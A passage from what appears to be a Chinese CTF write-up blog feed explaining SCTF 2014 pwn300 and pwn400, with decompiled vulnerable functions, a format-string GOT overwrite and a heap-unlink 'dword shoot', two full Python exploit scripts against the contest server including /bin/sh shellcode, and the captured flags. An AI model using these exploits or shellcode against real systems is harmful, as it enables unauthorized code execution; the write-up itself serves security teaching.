class="keyword">int</span> \_\_cdecl fun2\_sub_80487B6()</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"input your message"</span>);</span><br><span class="line">  <span class="built_in">memset</span>(src, <span class="number">0</span>, <span class="number">0x400</span>u);</span><br><span class="line">  <span class="keyword">return</span> readbuf\_sub\_804866D((<span class="keyword">int</span>)src, <span class="number">1024</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是exploit，修改地址的时候利用了libformatstr库</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">SCTF2014 pwn300 exploit</span></span><br><span class="line"><span class="string">yuf4n</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> libformatstr <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">\<span class="comment"># io = zio('./pwn300',print_write=COLORED(REPR))</span></span><br><span class="line">io = zio((<span class="string">'218.2.197.248'</span>,<span class="number">10002</span>),print_write=COLORED(REPR))</span><br><span class="line"></span><br><span class="line">memset\_plt\_addr = <span class="number">0x08049130</span></span><br><span class="line">p = FormatStr()</span><br><span class="line">payload\_leak\_lib_main = <span class="string">'x28x91x04x08%7$sn'</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># read \_\_lib\_main_start plt</span></span><br><span class="line">io.read_until(<span class="string">'your choice:'</span>)</span><br><span class="line">io.write(<span class="string">'2n'</span>)</span><br><span class="line">io.read_until(<span class="string">'your message'</span>)</span><br><span class="line">io.write(payload\_leak\_lib_main)</span><br><span class="line">io.read_until(<span class="string">'your choice:'</span>)</span><br><span class="line">io.write(<span class="string">'3n'</span>)</span><br><span class="line">io.read_until(<span class="string">'message is:'</span>)</span><br><span class="line">buf = io.read(<span class="number">8</span>)</span><br><span class="line">buf = buf\[<span class="number">-4</span>:\]</span><br><span class="line">systemaddr = struct.unpack(<span class="string">'&lt;I'</span>,buf)\[<span class="number">0</span>\] + <span class="number">0x26050</span></span><br><span class="line"><span class="keyword">print</span> <span class="string">'SYSADDR'</span>,hex(systemaddr)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># write  memset_plt</span></span><br><span class="line">p\[memset\_plt\_addr\] = systemaddr</span><br><span class="line">payload = p.payload(<span class="number">7</span>, start_len=<span class="number">0</span>) + <span class="string">'n'</span></span><br><span class="line">\<span class="comment"># io.gdb_hint()</span></span><br><span class="line">io.read_until(<span class="string">'your choice:'</span>)</span><br><span class="line">io.write(<span class="string">'2n'</span>)</span><br><span class="line">io.read_until(<span class="string">'your message'</span>)</span><br><span class="line">io.write(payload)</span><br><span class="line">io.write(<span class="string">'3n'</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># set src=sh and call memset</span></span><br><span class="line">io.read_until(<span class="string">'your choice:'</span>)</span><br><span class="line">io.write(<span class="string">'2n'</span>)</span><br><span class="line">io.read_until(<span class="string">'message'</span>)</span><br><span class="line">io.write(<span class="string">'shn'</span>)</span><br><span class="line">io.read_until(<span class="string">'your choice:'</span>)</span><br><span class="line">io.write(<span class="string">'2n'</span>)</span><br><span class="line">io.read_until(<span class="string">'message'</span>)</span><br><span class="line">io.write(<span class="string">'shn'</span>)</span><br><span class="line"></span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><p>flag SCTF{ZQzq2617}</p><h1 id="PWN400"><a href="#PWN400" class="headerlink" title="PWN400"></a>PWN400</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pwn400: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26</span><br><span class="line">RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE</span><br><span class="line">No RELRO        Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   pwn400</span><br></pre></td></tr></table></figure><p>这个NX都没有。</p><h2 id="漏洞分析-2"><a href="#漏洞分析-2" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>程序是一个类似便签的功能。 每个note是用malloc申请的，用双向链表链接起来，目测是某个同学的C语言小作业吧。。 3号功能可以显示note空间的的首地址。 在4号功能修改note的功能发现一个堆溢出的漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl fun4\_sub_8048D09(<span class="keyword">int</span> a1)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">size_t</span> v1; <span class="comment">// eax@4</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax@8</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// \[sp+28h\] \[bp-410h\]@1</span></span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// \[sp+2Ch\] \[bp-40Ch\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// \[sp+42Ch\] \[bp-Ch\]@1</span></span><br><span class="line"></span><br><span class="line">  v5 = *MK\_FP(\_\_GS__, <span class="number">20</span>);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;buf, <span class="number">0</span>, <span class="number">0x400</span>u);</span><br><span class="line">  v3 = a1;</span><br><span class="line">  <span class="keyword">if</span> ( a1 )</span><br><span class="line">  &#123;</span><br><span class="line">    write(<span class="number">1</span>, <span class="string">"note title:"</span>, <span class="number">0xB</span>u);</span><br><span class="line">    read(<span class="number">0</span>, &amp;buf, <span class="number">0x400</span>u);</span><br><span class="line">    <span class="keyword">while</span> ( v3 )</span><br><span class="line">    &#123;</span><br><span class="line">      v1 = <span class="built_in">strlen</span>(&amp;buf);</span><br><span class="line">      <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(&amp;buf, (<span class="keyword">const</span> <span class="keyword">char</span> *)(v3 + <span class="number">12</span>), v1) )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      v3 = *(_DWORD *)(v3 + <span class="number">8</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    write(<span class="number">1</span>, <span class="string">"input content:"</span>, <span class="number">0xE</span>u);</span><br><span class="line">    read(<span class="number">0</span>, &amp;buf, <span class="number">0x400</span>u);</span><br><span class="line">    <span class="built_in">strcpy</span>((<span class="keyword">char</span> *)(v3 + <span class="number">108</span>), &amp;buf);           <span class="comment">// exploit</span></span><br><span class="line">    write(<span class="number">1</span>, <span class="string">"succeed!"</span>, <span class="number">8u</span>);</span><br><span class="line">    <span class="built_in">puts</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)(v3 + <span class="number">108</span>));</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    write(<span class="number">1</span>, <span class="string">"no notes"</span>, <span class="number">8u</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  result = *MK\_FP(\_\_GS__, <span class="number">20</span>) ^ v5;</span><br><span class="line">  <span class="keyword">if</span> ( *MK\_FP(\_\_GS__, <span class="number">20</span>) != v5 )</span><br><span class="line">    \_\_stack\_chk_fail();</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在5号功能删除note的功能发现一个类似dwrod shoot的漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> \_\_cdecl sub\_8048E99(<span class="keyword">int</span> a1)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// ST28_4@8</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// ST2C_4@8</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax@10</span></span><br><span class="line">  __int32 ptr; <span class="comment">// \[sp+24h\] \[bp-24h\]@3</span></span><br><span class="line">  <span class="keyword">int</span> buf; <span class="comment">// \[sp+32h\] \[bp-16h\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v6; <span class="comment">// \[sp+36h\] \[bp-12h\]@1</span></span><br><span class="line">  __int16 v7; <span class="comment">// \[sp+3Ah\] \[bp-Eh\]@1</span></span><br><span class="line">  <span class="keyword">int</span> v8; <span class="comment">// \[sp+3Ch\] \[bp-Ch\]@1</span></span><br><span class="line"></span><br><span class="line">  v8 = *MK\_FP(\_\_GS__, <span class="number">20</span>);</span><br><span class="line">  buf = <span class="number">0</span>;</span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  v7 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( *(_DWORD *)a1 )</span><br><span class="line">  &#123;</span><br><span class="line">    write(<span class="number">1</span>, <span class="string">"note location:"</span>, <span class="number">0xE</span>u);</span><br><span class="line">    read(<span class="number">0</span>, &amp;buf, <span class="number">8u</span>);</span><br><span class="line">    ptr = strtol((<span class="keyword">const</span> <span class="keyword">char</span> *)&amp;buf, <span class="number">0</span>, <span class="number">16</span>);</span><br><span class="line">    <span class="keyword">if</span> ( *(_DWORD *)ptr == ptr )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( *(_DWORD *)a1 == ptr )</span><br><span class="line">      &#123;</span><br><span class="line">        *(\_DWORD *)a1 = *(\_DWORD *)(*(_DWORD *)a1 + <span class="number">8</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( *(_DWORD *)(ptr + <span class="number">8</span>) )</span><br><span class="line">        &#123;</span><br><span class="line">          v1 = *(_DWORD *)(ptr + <span class="number">8</span>);</span><br><span class="line">          v2 = *(_DWORD *)(ptr + <span class="number">4</span>);</span><br><span class="line">          *(_DWORD *)(v2 + <span class="number">8</span>) = v1;             <span class="comment">// dword shoot</span></span><br><span class="line">          *(_DWORD *)(v1 + <span class="number">4</span>) = v2;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          *(\_DWORD *)(*(\_DWORD *)(ptr + <span class="number">4</span>) + <span class="number">8</span>) = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      write(<span class="number">1</span>, <span class="string">"succeed!nn"</span>, <span class="number">0xA</span>u);</span><br><span class="line">      <span class="built_in">free</span>((<span class="keyword">void</span> *)ptr);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    write(<span class="number">1</span>, <span class="string">"no notes"</span>, <span class="number">8u</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  result = *MK\_FP(\_\_GS__, <span class="number">20</span>) ^ v8;</span><br><span class="line">  <span class="keyword">if</span> ( *MK\_FP(\_\_GS__, <span class="number">20</span>) != v8 )</span><br><span class="line">    \_\_stack\_chk_fail();</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>例如ptr = &amp;note (note空间的基地址) 则可以进行 [ [ptr+4]+8 ] = [prt+8] [ [ptr+8]+4 ] = [ptr+4]</p><h2 id="漏洞利用-2"><a href="#漏洞利用-2" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>思路是通过堆溢出漏洞可以覆盖到另外一个note的ptr+4 和 ptr+8。 之后利用这个dword shoot修改即将要调用的函数的plt到shellcode处。 shellcode前面要加一些nop，因为dword shoot的副作用会修改到shellcode。 具体操作：</p><ol><li>新建3个note，我把shellcode放在第三个note的content里</li><li>查看他们的地址</li><li>溢出第一个note</li><li>删除第二个note，通过dword shoot修改write函数的plt为shellcode位置（有试过修改其他函数的，发现修改write可以成功。）</li><li>程序在dword shoot之后就有一个write调用，即进入shellcode</li></ol><p>exploit如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">SCTF2014 pwn400 exploit</span></span><br><span class="line"><span class="string">yuf4n</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">\<span class="comment"># io = zio('./pwn400', print_write=COLORED(REPR), timeout=80000)</span></span><br><span class="line">io = zio((<span class="string">'218.2.197.248'</span>,<span class="number">10003</span>),print_write=COLORED(REPR))</span><br><span class="line">exit_plt = <span class="number">0x0804A46C</span></span><br><span class="line">free_plt =<span class="number">0x0804A450</span></span><br><span class="line">write_plt =<span class="number">0x0804A478</span></span><br><span class="line">shellcode = <span class="string">"x90"</span>*<span class="number">16</span>+<span class="string">"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"</span></span><br><span class="line"></span><br><span class="line">io.read_until(<span class="string">'option---&gt;&gt;'</span>)</span><br><span class="line">io.write(<span class="string">'1n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note title:'</span>)</span><br><span class="line">io.write(<span class="string">'1n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note type:'</span>)</span><br><span class="line">io.write(<span class="string">'1n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note content:'</span>)</span><br><span class="line">io.write(<span class="string">'1n'</span>)</span><br><span class="line">io.read_until(<span class="string">'option---&gt;&gt;'</span>)</span><br><span class="line"></span><br><span class="line">io.write(<span class="string">'1n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note title:'</span>)</span><br><span class="line">io.write(<span class="string">'2n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note type:'</span>)</span><br><span class="line">io.write(<span class="string">'2n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note content:'</span>)</span><br><span class="line">io.write(<span class="string">'2n'</span>)</span><br><span class="line">io.read_until(<span class="string">'option---&gt;&gt;'</span>)</span><br><span class="line"></span><br><span class="line">io.write(<span class="string">'1n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note title:'</span>)</span><br><span class="line">io.write(<span class="string">'3n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note type:'</span>)</span><br><span class="line">io.write(<span class="string">'3n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note content:'</span>)</span><br><span class="line">io.write(shellcode+<span class="string">'n'</span>)</span><br><span class="line">io.read_until(<span class="string">'option---&gt;&gt;'</span>)</span><br><span class="line"></span><br><span class="line">io.write(<span class="string">'3n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note title:'</span>)</span><br><span class="line">io.write(<span class="string">'3n'</span>)</span><br><span class="line">buf = io.read_until(<span class="string">'option---&gt;&gt;'</span>)</span><br><span class="line">addr_3 = buf\[buf.find(<span class="string">'location:0x'</span>)+len(<span class="string">'location:0x'</span>):buf.find(<span class="string">'location:0x'</span>)+len(<span class="string">'location:0x'</span>)+<span class="number">8</span>\]</span><br><span class="line"></span><br><span class="line">io.write(<span class="string">'3n'</span>)</span><br><span class="line">io.read_until(<span class="string">'note title:'</span>)</span><br><span class="line">io.write(<span class="string">'2n'</span>)</span><br><span class="line">buf = io.read_until(<span class="string">'option---&gt;&gt;'</span>)</span><br><span class="line">addr_2 = buf\[buf.find(<span class="string">'location:0x'</span>)+len(<span class="string">'location:0x'</span>):buf.find(<span class="string">'location:0x'</span>)+len(<span class="string">'location:0x'</span>)+<span class="number">8</span>\]</span><br><span class="line"></span><br><span class="line">payload = <span class="string">'1'</span>*<span class="number">0x100</span></span><br><span class="line">payload += <span class="string">'2222'</span></span><br><span class="line">\<span class="comment"># addr2</span></span><br><span class="line">payload += l32(int(addr_2,<span class="number">16</span>))</span><br><span class="line">\<span class="comment"># ptr+4</span></span><br><span class="line">payload += l32(write_plt<span class="number">-0x8</span>)</span><br><span class="line">\<span class="comment"># ptr+8</span></span><br><span class="line">payload += l32(int(addr_3,<span class="number">16</span>)+<span class="number">108</span>)</span><br><span class="line">payload += <span class="string">'efghijklmn'</span></span><br><span class="line"></span><br><span class="line">io.write(<span class="string">'4n'</span>)</span><br><span class="line">io.read_until(<span class="string">'title:'</span>)</span><br><span class="line">io.write(<span class="string">'1n'</span>)</span><br><span class="line">io.read_until(<span class="string">'content:'</span>)</span><br><span class="line">io.write(payload+<span class="string">'n'</span>)</span><br><span class="line">io.read_until(<span class="string">'option---&gt;&gt;'</span>)</span><br><span class="line"></span><br><span class="line">io.write(<span class="string">'5n'</span>)</span><br><span class="line">\<span class="comment"># io.gdb_hint()</span></span><br><span class="line">io.read_until(<span class="string">'location:'</span>)</span><br><span class="line">io.write(addr_2+<span class="string">'n'</span>)</span><br><span class="line"></span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><p>flag SCTF{2318540E78446A0E84EF69685092F0C3}</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;PWN200&quot;&gt;&lt;a href=&quot;#PWN200&quot; class=&quot;headerlink&quot; title=&quot;PWN200&quot;&gt;&lt;/a&gt;PWN200&lt;/h1&gt;&lt;h2 id=&quot;漏洞分析&quot;&gt;&lt;a href=&quot;#漏洞分析&quot; class=&quot;headerlink&quot; title=&quot;漏
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="sctf" scheme="https://blog.eadom.net/tags/sctf/"/>
    
  </entry>
  
  <entry>
    <title>HITCON CTF 2014 rsbo,finger,rsaha writeup</title>
    <link href="https://blog.eadom.net/writeups/hitcon-ctf-2014-rsbo-finger-rsaha-writeup/"/>
    <id>https://blog.eadom.net/writeups/hitcon-ctf-2014-rsbo-finger-rsaha-writeup/</id>
    <published>2014-09-04T06:45:12.000Z</published>
    <updated>2025-11-21T12:45:50.776Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x01-rsbo"><a href="#0x01-rsbo" class="headerlink" title="0x01 rsbo"></a>0x01 rsbo</h1><p>ELF 32-bit LSB  executable 栈有随机化且不能执行 静态分析程序,有调试信息 read_80_bytes能读入0x80即128bytes到&amp;v2，造成栈溢出 但输入后会进行一个混淆，所以使用0输入前0x60位，可覆盖过变量v5的位置，当随机替换v5处值与之前的0时即可退出循环 <img src="data:image/png;base64,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